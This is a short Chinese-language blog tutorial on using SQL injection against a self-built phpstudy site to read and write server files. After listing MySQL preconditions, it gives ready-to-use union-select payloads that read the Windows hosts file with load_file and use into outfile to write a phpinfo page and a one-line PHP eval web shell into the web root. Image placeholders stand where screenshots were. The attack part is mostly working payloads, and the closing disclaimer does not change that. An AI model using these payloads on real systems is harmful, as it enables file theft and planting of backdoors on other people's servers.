sql注入之讀寫文件案例實驗

環境搭建

Window-server2008 —phpstudy-----搭建自己的網頁
在這裏插入圖片描述

第一節 前提條件

我們也可以利用SQL 注入漏洞讀寫文件。但是讀寫文件需要一定的條件。
在這裏插入圖片描述
1.secure-file-priv

改參數可以寫在my.ini 配置文件中[mysqld] 下。若要配置此參數,需要修改my.ini 配置文件,並重啓mysql 服務。
在這裏插入圖片描述在這裏插入圖片描述

2. 當前用戶具有文件權限
查詢語句[select File_priv from mysql.user where user="root" and host="localhost"]。
在這裏插入圖片描述
3 知道要寫入目標文件的絕對路徑

第二節 讀取文件操作

[?id=-33 union select 1,2,3,4,5,6,7,8,9,10,load_file('C:\\Windows\\System32\\drivers\\etc\\hosts'), 12,13,14,15 --+ ]
在這裏插入圖片描述

第三節 寫入文件操作

[?id=33%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,%27%3C?php%20phpinfo();?%3E%27,12,13,14,15%20into%20outfile%20%27c:\\phpstudy\\www\\1.php%27%20--+],直接傳入參數,頁面如果不報錯,說明寫入成功。可以直接訪問寫入的文件[http://localhost/1.php]

在這裏插入圖片描述在這裏插入圖片描述

[?id=33%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,%27%3C?php%20@eval($_REQUEST[777]);?%3E%27,12,13,14,15%20into%20outfile%20%27c:\phpstudy\www\2.php%27%20–+]
在這裏插入圖片描述在這裏插入圖片描述在這裏插入圖片描述在這裏插入圖片描述

免責聲明

本文檔供學習,請使用者注意使用環境並遵守國家相關法律法規!
由於使用不當造成的後果上傳者概不負責!

發佈了261 篇原創文章 · 獲贊 50 · 訪問量 9萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章